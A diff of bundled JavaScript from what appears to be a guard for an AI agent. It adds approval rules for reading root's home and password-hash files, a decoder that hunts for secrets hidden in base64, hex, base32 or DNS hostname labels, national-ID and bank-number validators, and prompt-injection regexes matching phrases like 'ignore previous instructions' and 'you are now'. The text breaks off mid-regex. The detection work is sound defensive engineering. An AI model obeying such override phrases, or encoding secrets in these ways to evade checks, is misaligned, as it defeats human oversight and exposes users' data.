6304
|
+
add("read", { value: start }, state, { listing: true });
|
|
5565
6305
|
let nameFilter = null;
|
|
5566
6306
|
let pathFilter = null;
|
|
5567
6307
|
let shallow = false;
|
|
@@ -5997,6 +6737,10 @@ function hitsSystemDir(access, context, dirs = SYSTEM_DIRS) {
|
|
|
5997
6737
|
}
|
|
5998
6738
|
return false;
|
|
5999
6739
|
}
|
|
6740
|
+
function hitsRootHome(access, context) {
|
|
6741
|
+
if (context.homeDirs?.[0] === "/root") return false;
|
|
6742
|
+
return hitsSystemDir(access, context, ["/root"]);
|
|
6743
|
+
}
|
|
6000
6744
|
function uploadDirs(context) {
|
|
6001
6745
|
return context.homeDirs?.[0] === "/root" ? UPLOAD_SYSTEM_DIRS.filter((d) => d !== "/root") : UPLOAD_SYSTEM_DIRS;
|
|
6002
6746
|
}
|
|
@@ -6030,10 +6774,14 @@ function evaluateProtectedFileAccess(accesses, context, settings) {
|
|
|
6030
6774
|
"files.system-dirs",
|
|
6031
6775
|
"review-system-file-upload",
|
|
6032
6776
|
"Uploading a system file requires approval"
|
|
6033
|
-
] : !mutation && hits(access, PASSWORD_HASH_FILES, [], context) ? [
|
|
6777
|
+
] : !mutation && !access.listing && hits(access, PASSWORD_HASH_FILES, [], context) ? [
|
|
6034
6778
|
"files.password-hashes",
|
|
6035
6779
|
"review-password-hash-read",
|
|
6036
6780
|
"Reading system password hashes requires approval"
|
|
6781
|
+
] : !mutation && !access.upload && hitsRootHome(access, context) ? [
|
|
6782
|
+
"files.system-dirs",
|
|
6783
|
+
"review-root-home-read",
|
|
6784
|
+
"Reading the root account's home requires approval"
|
|
6037
6785
|
] : null;
|
|
6038
6786
|
} catch {
|
|
6039
6787
|
consider(incompleteFileVerdict(access.operation));
|
|
@@ -8187,7 +8935,7 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
|
|
|
8187
8935
|
};
|
|
8188
8936
|
for (const word of text.matchAll(/[a-zA-Z]+/g)) {
|
|
8189
8937
|
const index = indices.get(word[0]);
|
|
8190
|
-
if (index === void 0 || run.length &&
|
|
8938
|
+
if (index === void 0 || run.length && !/^[\s+]+$/.test(text.slice(previousEnd, word.index))) {
|
|
8191
8939
|
if (inspect()) return true;
|
|
8192
8940
|
if (budget.reasons.has("mnemonic-budget")) return false;
|
|
8193
8941
|
run = [];
|
|
@@ -8202,6 +8950,207 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
|
|
|
8202
8950
|
return inspect();
|
|
8203
8951
|
}
|
|
8204
8952
|
|
|
8953
|
+
// src/dlp/secret-views.ts
|
|
8954
|
+
var SECRET_VIEW_LIMITS = {
|
|
8955
|
+
/** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
|
|
8956
|
+
maxDepth: 4,
|
|
8957
|
+
/** Nested views per parent view, and nested text per call; past either the call is reviewed. */
|
|
8958
|
+
maxNestedViewsPerLeaf: 64,
|
|
8959
|
+
maxNestedBytes: 1048576,
|
|
8960
|
+
/** Joined hostname-label text per call; past it the call is reviewed. */
|
|
8961
|
+
maxJoinedLabelBytes: 1048576,
|
|
8962
|
+
/** Decoded fragments are matched in batches of about this many characters. */
|
|
8963
|
+
batchCharacters: 65536,
|
|
8964
|
+
/** Only a valid DNS name has its labels joined. */
|
|
8965
|
+
maxHostLength: 253,
|
|
8966
|
+
maxLabelLength: 63,
|
|
8967
|
+
maxLabels: 127
|
|
8968
|
+
};
|
|
8969
|
+
function newSecretViewBudget() {
|
|
8970
|
+
return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
|
|
8971
|
+
}
|
|
8972
|
+
function textBytes(buf) {
|
|
8973
|
+
if (buf.length < 16) return null;
|
|
8974
|
+
const text = buf.toString("utf8");
|
|
8975
|
+
if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
|
|
8976
|
+
return text;
|
|
8977
|
+
}
|
|
8978
|
+
function percentOnce(text) {
|
|
8979
|
+
return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
|
|
8980
|
+
try {
|
|
8981
|
+
return decodeURIComponent(run);
|
|
8982
|
+
} catch {
|
|
8983
|
+
return run.replace(
|
|
8984
|
+
/%([a-f0-9]{2})/gi,
|
|
8985
|
+
(_, h) => String.fromCharCode(parseInt(h, 16))
|
|
8986
|
+
);
|
|
8987
|
+
}
|
|
8988
|
+
});
|
|
8989
|
+
}
|
|
8990
|
+
function* wrappedBase64(text) {
|
|
8991
|
+
if (!text.includes("\n")) return;
|
|
8992
|
+
const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
|
|
8993
|
+
let run = [];
|
|
8994
|
+
let width = 0;
|
|
8995
|
+
const flush = function* () {
|
|
8996
|
+
if (run.length >= 2) yield run.join("");
|
|
8997
|
+
run = [];
|
|
8998
|
+
width = 0;
|
|
8999
|
+
};
|
|
9000
|
+
for (const raw of text.split("\n")) {
|
|
9001
|
+
const line = raw.trim();
|
|
9002
|
+
const full = line.length >= 16 && word.test(line) && !line.includes("=");
|
|
9003
|
+
if (full && (!run.length || line.length === width)) {
|
|
9004
|
+
run.push(line);
|
|
9005
|
+
width = line.length;
|
|
9006
|
+
continue;
|
|
9007
|
+
}
|
|
9008
|
+
if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
|
|
9009
|
+
run.push(line);
|
|
9010
|
+
yield* flush();
|
|
9011
|
+
continue;
|
|
9012
|
+
}
|
|
9013
|
+
yield* flush();
|
|
9014
|
+
if (full) {
|
|
9015
|
+
run.push(line);
|
|
9016
|
+
width = line.length;
|
|
9017
|
+
}
|
|
9018
|
+
}
|
|
9019
|
+
yield* flush();
|
|
9020
|
+
}
|
|
9021
|
+
function* encodedRegions(text, budget) {
|
|
9022
|
+
yield [text, false];
|
|
9023
|
+
for (const block of wrappedBase64(text)) yield [block, false];
|
|
9024
|
+
for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
|
|
9025
|
+
try {
|
|
9026
|
+
new URL(match[0]);
|
|
9027
|
+
} catch {
|
|
9028
|
+
continue;
|
|
9029
|
+
}
|
|
9030
|
+
const parts = match[0].match(
|
|
9031
|
+
/^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
|
|
9032
|
+
);
|
|
9033
|
+
if (!parts) continue;
|
|
9034
|
+
const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
|
|
9035
|
+
const regions = [
|
|
9036
|
+
parts[1],
|
|
9037
|
+
...host2.split("."),
|
|
9038
|
+
...parts[2].split("/"),
|
|
9039
|
+
...(parts[3] ?? "").split("&"),
|
|
9040
|
+
parts[4] ?? ""
|
|
9041
|
+
];
|
|
9042
|
+
for (const region of regions) if (region) yield [region, false];
|
|
9043
|
+
const labels = host2.split(".");
|
|
9044
|
+
if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
|
|
9045
|
+
continue;
|
|
9046
|
+
for (let start = 0; start < labels.length; start++) {
|
|
9047
|
+
let joined = labels[start];
|
|
9048
|
+
for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
|
|
9049
|
+
const run = labels.slice(start, end + 1);
|
|
9050
|
+
if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
|
|
9051
|
+
break;
|
|
9052
|
+
joined += labels[end];
|
|
9053
|
+
if (joined.length < 16) continue;
|
|
9054
|
+
budget.joinedLabelBytes += joined.length;
|
|
9055
|
+
if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
|
|
9056
|
+
budget.reasons.add("decode-labels");
|
|
9057
|
+
return;
|
|
9058
|
+
}
|
|
9059
|
+
yield [joined, true];
|
|
9060
|
+
}
|
|
9061
|
+
}
|
|
9062
|
+
}
|
|
9063
|
+
}
|
|
9064
|
+
function decodeBase32(raw) {
|
|
9065
|
+
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
|
9066
|
+
const out = [];
|
|
9067
|
+
let bits = 0;
|
|
9068
|
+
let accumulator = 0;
|
|
9069
|
+
for (const c of raw.toUpperCase()) {
|
|
9070
|
+
accumulator = accumulator << 5 | alphabet.indexOf(c);
|
|
9071
|
+
bits += 5;
|
|
9072
|
+
if (bits >= 8) {
|
|
9073
|
+
bits -= 8;
|
|
9074
|
+
out.push(accumulator >> bits);
|
|
9075
|
+
accumulator &= (1 << bits) - 1;
|
|
9076
|
+
}
|
|
9077
|
+
}
|
|
9078
|
+
if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
|
|
9079
|
+
return Buffer.from(out);
|
|
9080
|
+
}
|
|
9081
|
+
function* decodedCandidates(text, budget) {
|
|
9082
|
+
const stripped = stripInvisible(text);
|
|
9083
|
+
if (stripped !== text) yield ["invisibles", stripped];
|
|
9084
|
+
if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
|
|
9085
|
+
const families = [
|
|
9086
|
+
["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
|
|
9087
|
+
["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
|
|
9088
|
+
["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
|
|
9089
|
+
["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
|
|
9090
|
+
["base32", /\b[A-Z2-7]{26,}\b/gi]
|
|
9091
|
+
];
|
|
9092
|
+
for (const [region, joined] of encodedRegions(text, budget)) {
|
|
9093
|
+
if (joined) yield ["dns-labels", region];
|
|
9094
|
+
for (const [kind, re] of families) {
|
|
9095
|
+
for (const match of region.matchAll(re)) {
|
|
9096
|
+
const raw = match[0];
|
|
9097
|
+
let buf;
|
|
9098
|
+
if (kind === "base64") {
|
|
9099
|
+
if (/^[a-f0-9]+$/i.test(raw)) continue;
|
|
9100
|
+
const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
|
|
9101
|
+
const unpadded = normalized.replace(/=+$/, "");
|
|
9102
|
+
if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
|
|
9103
|
+
buf = Buffer.from(normalized, "base64");
|
|
9104
|
+
if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
|
|
9105
|
+
} else if (kind === "base32") {
|
|
9106
|
+
const decoded2 = decodeBase32(raw);
|
|
9107
|
+
if (!decoded2) continue;
|
|
9108
|
+
buf = decoded2;
|
|
9109
|
+
} else {
|
|
9110
|
+
buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
|
|
9111
|
+
}
|
|
9112
|
+
const decoded = textBytes(buf);
|
|
9113
|
+
if (decoded !== null) yield [kind, decoded];
|
|
9114
|
+
}
|
|
9115
|
+
}
|
|
9116
|
+
}
|
|
9117
|
+
}
|
|
9118
|
+
function secretViews(text, budget) {
|
|
9119
|
+
const seen = /* @__PURE__ */ new Set([text]);
|
|
9120
|
+
const out = [];
|
|
9121
|
+
let frontier = [{ text, transforms: [] }];
|
|
9122
|
+
for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
|
|
9123
|
+
const next = [];
|
|
9124
|
+
for (const parent of frontier) {
|
|
9125
|
+
let perLeaf = 0;
|
|
9126
|
+
for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
|
|
9127
|
+
if (seen.has(decoded)) continue;
|
|
9128
|
+
seen.add(decoded);
|
|
9129
|
+
const normalizing = kind === "invisibles" || kind === "percent";
|
|
9130
|
+
if (depth >= 2 && !normalizing) {
|
|
9131
|
+
budget.nestedBytes += Buffer.byteLength(decoded);
|
|
9132
|
+
if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
|
|
9133
|
+
budget.reasons.add("decode-nested");
|
|
9134
|
+
return out;
|
|
9135
|
+
}
|
|
9136
|
+
}
|
|
9137
|
+
const view = { text: decoded, transforms: [...parent.transforms, kind] };
|
|
9138
|
+
out.push(view);
|
|
9139
|
+
next.push(view);
|
|
9140
|
+
}
|
|
9141
|
+
}
|
|
9142
|
+
frontier = next;
|
|
9143
|
+
if (!frontier.length) return out;
|
|
9144
|
+
}
|
|
9145
|
+
for (const view of frontier) {
|
|
9146
|
+
if (!decodedCandidates(view.text, budget).next().done) {
|
|
9147
|
+
budget.reasons.add("decode-nested");
|
|
9148
|
+
break;
|
|
9149
|
+
}
|
|
9150
|
+
}
|
|
9151
|
+
return out;
|
|
9152
|
+
}
|
|
9153
|
+
|
|
8205
9154
|
// src/scan/checksums.ts
|
|
8206
9155
|
var import_crypto = require("crypto");
|
|
8207
9156
|
function validateLuhn(digits) {
|
|
@@ -8221,6 +9170,16 @@ function validateLuhn(digits) {
|
|
|
8221
9170
|
}
|
|
8222
9171
|
return sum % 10 === 0;
|
|
8223
9172
|
}
|
|
9173
|
+
function validateAbaRouting(digits) {
|
|
9174
|
+
if (!/^\d{9}$/.test(digits)) return false;
|
|
9175
|
+
const prefix = Number(digits.slice(0, 2));
|
|
9176
|
+
const assigned = prefix <= 12 || prefix >= 21 && prefix <= 32 || prefix >= 61 && prefix <= 72 || prefix === 80;
|
|
9177
|
+
if (!assigned) return false;
|
|
9178
|
+
const weights = [3, 7, 1, 3, 7, 1, 3, 7, 1];
|
|
9179
|
+
let sum = 0;
|
|
9180
|
+
for (let i = 0; i < 9; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
|
|
9181
|
+
return sum % 10 === 0;
|
|
9182
|
+
}
|
|
8224
9183
|
var IBAN_LENGTH = {
|
|
8225
9184
|
AD: 24,
|
|
8226
9185
|
AE: 23,
|
|
@@ -8313,6 +9272,29 @@ var IBAN_LENGTH = {
|
|
|
8313
9272
|
XK: 20,
|
|
8314
9273
|
YE: 30
|
|
8315
9274
|
};
|
|
9275
|
+
var IBAN_BBAN_SHAPE = {
|
|
9276
|
+
AT: /^\d{16}$/,
|
|
9277
|
+
BE: /^\d{12}$/,
|
|
9278
|
+
CH: /^\d{5}[A-Z0-9]{12}$/,
|
|
9279
|
+
CZ: /^\d{20}$/,
|
|
9280
|
+
DE: /^\d{18}$/,
|
|
9281
|
+
DK: /^\d{14}$/,
|
|
9282
|
+
ES: /^\d{20}$/,
|
|
9283
|
+
FI: /^\d{14}$/,
|
|
9284
|
+
FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
|
|
9285
|
+
GB: /^[A-Z]{4}\d{14}$/,
|
|
9286
|
+
HU: /^\d{24}$/,
|
|
9287
|
+
IE: /^[A-Z]{4}\d{14}$/,
|
|
9288
|
+
IL: /^\d{19}$/,
|
|
9289
|
+
IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
|
|
9290
|
+
LU: /^\d{3}[A-Z0-9]{13}$/,
|
|
9291
|
+
NL: /^[A-Z]{4}\d{10}$/,
|
|
9292
|
+
NO: /^\d{11}$/,
|
|
9293
|
+
PL: /^\d{24}$/,
|
|
9294
|
+
PT: /^\d{21}$/,
|
|
9295
|
+
RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
|
|
9296
|
+
SE: /^\d{20}$/
|
|
9297
|
+
};
|
|
8316
9298
|
function validateIban(raw) {
|
|
8317
9299
|
const s = raw.replace(/[ -]/g, "").toUpperCase();
|
|
8318
9300
|
if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
|
|
@@ -8320,6 +9302,8 @@ function validateIban(raw) {
|
|
|
8320
9302
|
if (want === void 0 || s.length < want) return false;
|
|
8321
9303
|
const iban = s.slice(0, want);
|
|
8322
9304
|
if (!/^[A-Z0-9]+$/.test(iban)) return false;
|
|
9305
|
+
const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
|
|
9306
|
+
if (shape && !shape.test(iban.slice(4))) return false;
|
|
8323
9307
|
const rearranged = iban.slice(4) + iban.slice(0, 4);
|
|
8324
9308
|
let mod = 0;
|
|
8325
9309
|
for (const ch of rearranged) {
|
|
@@ -8436,138 +9420,158 @@ function validateCask(raw) {
|
|
|
8436
9420
|
const second = b64urlIndex(s[tsAt + 5]);
|
|
8437
9421
|
return month <= 11 && day <= 30 && hour <= 23 && minute <= 59 && second <= 59;
|
|
8438
9422
|
}
|
|
8439
|
-
|
|
8440
|
-
|
|
8441
|
-
|
|
8442
|
-
|
|
8443
|
-
|
|
9423
|
+
function plausibleDate(mm, dd) {
|
|
9424
|
+
const m = Number(mm);
|
|
9425
|
+
const d = Number(dd);
|
|
9426
|
+
return m >= 1 && m <= 12 && d >= 1 && d <= 31;
|
|
9427
|
+
}
|
|
9428
|
+
var CF_ODD = {};
|
|
9429
|
+
var CF_EVEN = {};
|
|
9430
|
+
{
|
|
9431
|
+
const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
9432
|
+
const odd = [
|
|
9433
|
+
1,
|
|
9434
|
+
0,
|
|
9435
|
+
5,
|
|
9436
|
+
7,
|
|
9437
|
+
9,
|
|
9438
|
+
13,
|
|
9439
|
+
15,
|
|
9440
|
+
17,
|
|
9441
|
+
19,
|
|
9442
|
+
21,
|
|
9443
|
+
1,
|
|
9444
|
+
0,
|
|
9445
|
+
5,
|
|
9446
|
+
7,
|
|
9447
|
+
9,
|
|
9448
|
+
13,
|
|
9449
|
+
15,
|
|
9450
|
+
17,
|
|
9451
|
+
19,
|
|
9452
|
+
21,
|
|
9453
|
+
2,
|
|
9454
|
+
4,
|
|
9455
|
+
18,
|
|
9456
|
+
20,
|
|
9457
|
+
11,
|
|
9458
|
+
3,
|
|
9459
|
+
6,
|
|
9460
|
+
8,
|
|
9461
|
+
12,
|
|
9462
|
+
14,
|
|
9463
|
+
16,
|
|
9464
|
+
10,
|
|
9465
|
+
22,
|
|
9466
|
+
25,
|
|
9467
|
+
24,
|
|
9468
|
+
23
|
|
9469
|
+
];
|
|
9470
|
+
for (let i = 0; i < alphabet.length; i++) {
|
|
9471
|
+
const c = alphabet[i];
|
|
9472
|
+
CF_ODD[c] = odd[i];
|
|
9473
|
+
CF_EVEN[c] = i < 10 ? i : i - 10;
|
|
9474
|
+
}
|
|
8444
9475
|
}
|
|
8445
|
-
|
|
8446
|
-
|
|
8447
|
-
|
|
9476
|
+
function validateCodiceFiscale(raw) {
|
|
9477
|
+
const s = raw.toUpperCase();
|
|
9478
|
+
if (!/^[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]$/.test(s)) return false;
|
|
9479
|
+
let sum = 0;
|
|
9480
|
+
for (let i = 0; i < 15; i++) sum += (i % 2 === 0 ? CF_ODD : CF_EVEN)[s[i]];
|
|
9481
|
+
return s[15] === String.fromCharCode(65 + sum % 26);
|
|
8448
9482
|
}
|
|
8449
|
-
var
|
|
8450
|
-
|
|
8451
|
-
|
|
8452
|
-
\
|
|
8453
|
-
|
|
8454
|
-
|
|
8455
|
-
|
|
8456
|
-
|
|
8457
|
-
|
|
8458
|
-
|
|
8459
|
-
|
|
8460
|
-
|
|
8461
|
-
|
|
8462
|
-
|
|
8463
|
-
|
|
8464
|
-
|
|
8465
|
-
|
|
8466
|
-
|
|
8467
|
-
|
|
8468
|
-
|
|
8469
|
-
|
|
8470
|
-
|
|
8471
|
-
|
|
8472
|
-
|
|
8473
|
-
|
|
8474
|
-
|
|
8475
|
-
|
|
8476
|
-
|
|
8477
|
-
\u0420: "P",
|
|
8478
|
-
\u0421: "C",
|
|
8479
|
-
\u0422: "T",
|
|
8480
|
-
\u0425: "X",
|
|
8481
|
-
\u0405: "S",
|
|
8482
|
-
\u0406: "I",
|
|
8483
|
-
\u0408: "J",
|
|
8484
|
-
\u04AE: "Y",
|
|
8485
|
-
"\u051A": "Q",
|
|
8486
|
-
"\u051C": "W",
|
|
8487
|
-
// Greek lowercase
|
|
8488
|
-
\u03B1: "a",
|
|
8489
|
-
\u03BF: "o",
|
|
8490
|
-
\u03BD: "v",
|
|
8491
|
-
\u03B5: "e",
|
|
8492
|
-
\u03B9: "i",
|
|
8493
|
-
\u03BA: "k",
|
|
8494
|
-
\u03C1: "p",
|
|
8495
|
-
\u03C4: "t",
|
|
8496
|
-
\u03C5: "u",
|
|
8497
|
-
\u03C7: "x",
|
|
8498
|
-
\u03B3: "y",
|
|
8499
|
-
// Greek uppercase
|
|
8500
|
-
\u0391: "A",
|
|
8501
|
-
\u0392: "B",
|
|
8502
|
-
\u0395: "E",
|
|
8503
|
-
\u0396: "Z",
|
|
8504
|
-
\u0397: "H",
|
|
8505
|
-
\u0399: "I",
|
|
8506
|
-
\u039A: "K",
|
|
8507
|
-
\u039C: "M",
|
|
8508
|
-
\u039D: "N",
|
|
8509
|
-
\u039F: "O",
|
|
8510
|
-
\u03A1: "P",
|
|
8511
|
-
\u03A4: "T",
|
|
8512
|
-
\u03A5: "Y",
|
|
8513
|
-
\u03A7: "X"
|
|
8514
|
-
};
|
|
8515
|
-
var HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
8516
|
-
function foldHomoglyphs(text) {
|
|
8517
|
-
return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
|
|
9483
|
+
var SPANISH_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
|
|
9484
|
+
function validateSpanishId(raw) {
|
|
9485
|
+
const s = raw.toUpperCase();
|
|
9486
|
+
const m = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(s);
|
|
9487
|
+
if (!m) return false;
|
|
9488
|
+
if (m[1] === "" && m[2].length !== 8 || m[1] !== "" && m[2].length !== 7) return false;
|
|
9489
|
+
const digits = (m[1] === "" ? "" : String("XYZ".indexOf(m[1]))) + m[2];
|
|
9490
|
+
return SPANISH_LETTERS[Number(digits) % 23] === m[3];
|
|
9491
|
+
}
|
|
9492
|
+
function validatePesel(raw) {
|
|
9493
|
+
if (!/^\d{11}$/.test(raw)) return false;
|
|
9494
|
+
const month = Number(raw.slice(2, 4)) % 20;
|
|
9495
|
+
if (!plausibleDate(String(month).padStart(2, "0"), raw.slice(4, 6))) return false;
|
|
9496
|
+
const weights = [1, 3, 7, 9, 1, 3, 7, 9, 1, 3];
|
|
9497
|
+
let sum = 0;
|
|
9498
|
+
for (let i = 0; i < 10; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
|
|
9499
|
+
return (10 - sum % 10) % 10 === raw.charCodeAt(10) - 48;
|
|
9500
|
+
}
|
|
9501
|
+
function validateCnp(raw) {
|
|
9502
|
+
if (!/^[1-9]\d{12}$/.test(raw)) return false;
|
|
9503
|
+
if (!plausibleDate(raw.slice(3, 5), raw.slice(5, 7))) return false;
|
|
9504
|
+
const county = Number(raw.slice(7, 9));
|
|
9505
|
+
if (!(county >= 1 && county <= 52 || county === 70 || county === 71)) return false;
|
|
9506
|
+
const key = "279146358279";
|
|
9507
|
+
let sum = 0;
|
|
9508
|
+
for (let i = 0; i < 12; i++) sum += (raw.charCodeAt(i) - 48) * (key.charCodeAt(i) - 48);
|
|
9509
|
+
const r = sum % 11;
|
|
9510
|
+
return (r === 10 ? 1 : r) === raw.charCodeAt(12) - 48;
|
|
8518
9511
|
}
|
|
8519
|
-
function
|
|
8520
|
-
|
|
9512
|
+
function validateNir(raw) {
|
|
9513
|
+
const s = raw.replace(/\s+/g, "").toUpperCase();
|
|
9514
|
+
const m = /^([12]\d{2}(0[1-9]|1[0-2]|[2-9]\d)(\d{2}|2A|2B)\d{6})(\d{2})$/.exec(s);
|
|
9515
|
+
if (!m) return false;
|
|
9516
|
+
const body = m[1].replace("2A", "19").replace("2B", "18");
|
|
9517
|
+
const key = Number(m[4]);
|
|
9518
|
+
return key >= 1 && key <= 97 && 97 - Number(body) % 97 === key;
|
|
8521
9519
|
}
|
|
8522
|
-
|
|
8523
|
-
|
|
8524
|
-
|
|
8525
|
-
|
|
8526
|
-
let
|
|
8527
|
-
for (
|
|
8528
|
-
|
|
8529
|
-
}
|
|
8530
|
-
return printable / buf.length >= 0.9;
|
|
9520
|
+
function validateSwissAhv(raw) {
|
|
9521
|
+
const m = /^756\.(\d{4})\.(\d{4})\.(\d{2})$/.exec(raw);
|
|
9522
|
+
if (!m) return false;
|
|
9523
|
+
const digits = "756" + m[1] + m[2] + m[3];
|
|
9524
|
+
let sum = 0;
|
|
9525
|
+
for (let i = 0; i < 12; i++) sum += (digits.charCodeAt(i) - 48) * (i % 2 === 0 ? 1 : 3);
|
|
9526
|
+
return (10 - sum % 10) % 10 === digits.charCodeAt(12) - 48;
|
|
8531
9527
|
}
|
|
8532
|
-
|
|
8533
|
-
|
|
8534
|
-
|
|
8535
|
-
|
|
8536
|
-
|
|
8537
|
-
|
|
8538
|
-
|
|
8539
|
-
|
|
8540
|
-
|
|
8541
|
-
|
|
8542
|
-
return out;
|
|
9528
|
+
function validateSwissUid(raw) {
|
|
9529
|
+
const m = /^CHE-(\d{3})\.(\d{3})\.(\d{3})$/i.exec(raw);
|
|
9530
|
+
if (!m) return false;
|
|
9531
|
+
const digits = m[1] + m[2] + m[3];
|
|
9532
|
+
const weights = [5, 4, 3, 2, 7, 6, 5, 4];
|
|
9533
|
+
let sum = 0;
|
|
9534
|
+
for (let i = 0; i < 8; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
|
|
9535
|
+
const check = 11 - sum % 11;
|
|
9536
|
+
if (check === 10) return false;
|
|
9537
|
+
return (check === 11 ? 0 : check) === digits.charCodeAt(8) - 48;
|
|
8543
9538
|
}
|
|
8544
|
-
|
|
8545
|
-
|
|
8546
|
-
|
|
8547
|
-
|
|
8548
|
-
|
|
8549
|
-
|
|
8550
|
-
|
|
8551
|
-
|
|
8552
|
-
|
|
8553
|
-
|
|
8554
|
-
|
|
8555
|
-
|
|
8556
|
-
|
|
9539
|
+
function validateSwedishPersonnummer(raw) {
|
|
9540
|
+
const m = /^(\d{2})(\d{2})(\d{2})[-+](\d{4})$/.exec(raw);
|
|
9541
|
+
if (!m) return false;
|
|
9542
|
+
if (!plausibleDate(m[2], m[3])) return false;
|
|
9543
|
+
const digits = m[1] + m[2] + m[3] + m[4];
|
|
9544
|
+
let sum = 0;
|
|
9545
|
+
for (let i = 0; i < 10; i++) {
|
|
9546
|
+
let d = digits.charCodeAt(i) - 48;
|
|
9547
|
+
if (i % 2 === 0) {
|
|
9548
|
+
d *= 2;
|
|
9549
|
+
if (d > 9) d -= 9;
|
|
9550
|
+
}
|
|
9551
|
+
sum += d;
|
|
8557
9552
|
}
|
|
8558
|
-
return
|
|
9553
|
+
return sum % 10 === 0;
|
|
8559
9554
|
}
|
|
8560
|
-
function
|
|
8561
|
-
|
|
8562
|
-
|
|
8563
|
-
|
|
8564
|
-
|
|
8565
|
-
|
|
8566
|
-
|
|
8567
|
-
|
|
8568
|
-
|
|
8569
|
-
|
|
8570
|
-
|
|
9555
|
+
function validateNorwegianFnr(raw) {
|
|
9556
|
+
if (!/^\d{11}$/.test(raw)) return false;
|
|
9557
|
+
if (!plausibleDate(raw.slice(2, 4), raw.slice(0, 2))) return false;
|
|
9558
|
+
const control = (weights, upto) => {
|
|
9559
|
+
let sum = 0;
|
|
9560
|
+
for (let i = 0; i < upto; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
|
|
9561
|
+
const k = 11 - sum % 11;
|
|
9562
|
+
return k === 11 ? 0 : k;
|
|
9563
|
+
};
|
|
9564
|
+
const k1 = control([3, 7, 6, 1, 8, 9, 4, 5, 2], 9);
|
|
9565
|
+
const k2 = control([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], 10);
|
|
9566
|
+
return k1 < 10 && k2 < 10 && k1 === raw.charCodeAt(9) - 48 && k2 === raw.charCodeAt(10) - 48;
|
|
9567
|
+
}
|
|
9568
|
+
var HETU_CHARS = "0123456789ABCDEFHJKLMNPRSTUVWXY";
|
|
9569
|
+
function validateFinnishHetu(raw) {
|
|
9570
|
+
const m = /^(\d{2})(\d{2})(\d{2})[-+A-FU-Y](\d{3})([0-9A-Y])$/.exec(raw.toUpperCase());
|
|
9571
|
+
if (!m) return false;
|
|
9572
|
+
if (!plausibleDate(m[2], m[1])) return false;
|
|
9573
|
+
const n = Number(m[1] + m[2] + m[3] + m[4]);
|
|
9574
|
+
return HETU_CHARS[n % 31] === m[5];
|
|
8571
9575
|
}
|
|
8572
9576
|
|
|
8573
9577
|
// src/dlp/injection.ts
|
|
@@ -8577,12 +9581,16 @@ var SIGNALS = [
|
|
|
8577
9581
|
{
|
|
8578
9582
|
name: "override-instructions",
|
|
8579
9583
|
any: [
|
|
8580
|
-
// "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules"
|
|
8581
|
-
/\b(ignore|disregard|forget)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?)\b/i,
|
|
9584
|
+
// "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules/commands/tasks"
|
|
9585
|
+
/\b(ignore|disregard|forget|discard)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?|commands?|tasks?|guidelines?)\b/i,
|
|
8582
9586
|
/\byou are now\b/i,
|
|
8583
|
-
/\bnew instructions
|
|
9587
